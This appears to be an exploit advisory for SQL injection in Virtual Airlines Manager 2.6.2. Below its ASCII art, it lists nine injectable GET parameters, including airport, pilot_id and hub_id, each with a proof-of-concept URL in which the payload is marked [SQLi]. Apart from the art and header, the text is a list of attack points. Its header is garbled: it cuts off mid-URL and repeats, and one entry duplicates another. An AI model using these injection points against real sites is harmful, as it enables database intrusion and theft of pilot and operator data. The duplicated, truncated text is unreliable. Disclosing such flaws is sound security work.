Virtual Airlines Manager 2.6.2 SQL Injection

Exploit Title: Virtual Airlines Manager 2.6.2 - 'airport' SQL Injection
# Google Dork: N/A
# Date: 2020-06-08
# Exploit Author: Kostadin Tonev
# Vendor Homepage: http://vi Exploit Title: Virtual Airlines Manager 2.6.2 - 'airport' SQL Injection
# Google Dork: N/A
# Date: 2020-06-08
# Exploit Author: Kostadin Tonev
# Vendor Homepage: http://virtualairlinesmanager.net
# Software Link: https://virtualairlinesmanager.net/index.php/vam-releases/
# Version: 2.6.2
# Tested on: Linux Mint
# CVE : N/A

. . . . . . . . . + .
. . : . .. :. .___---------___.
. . . . :.:. _".^ .^ ^. '.. :"-_. .
. : . . .:../: . .^ :.:.
. . :: +. :.:/: . . . . . .:
. : . . _ :::/: . ^ . . .:
.. . . . - : :.:./. . .:
. . . :..|: . . ^. .:|
. . : : ..|| . . . !:|
. . . . ::. ::( . :)/
. . : . : .:.|. ###### .#######::|
:.. . :- : .: ::|.####### ..########:|
. . . .. . .. : ######## :######## :/
. .+ :: : -.: ######## . ########.:/
. .+ . . . . :.:. ####### #######..:/
:: . . . . ::.:..:. . . ..:/
. . . .. : -::::.. | | . .:/
. : . . .-:.":.::. ..:/
. -. . . . .: .:::.:.. .:/
. . . : : ....::_:..: ___. :/
. . . .:. .. . .: :.:.: :/
+ . . : . ::. :.:. .:.| .:/|
. + . . ...:: ..| --.:|
. . . . . . . ... :..:.."( ..)"
. . . : . .: ::/ . .::



[1] Vulnerable GET parameter: notam_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=notam&notam_id=[SQLi]

[2] Vulnerable GET parameter: airport=[SQLi]
[PoC] http://localhost/vam/index.php?page=airport_info&airport=[SQLi]

[3] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[4] Vulnerable GET parameter: plane_location=[SQLi]
[PoC] http://localhost/vam/index.php?page=fleet_public&plane_location=[SQLi]

[5] Vulnerable GET parameter: hub_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=hub&hub_id=[SQLi]

[6] Vulnerable GET parameter: pilot_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=pilot_details&pilot_id=[SQLi]

[7] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[8] Vulnerable GET parameter: event_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=event&event_id=[SQLi]

[9] Vulnerable GET parameter: tour_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=tour_detail&tour_id=[SQLi]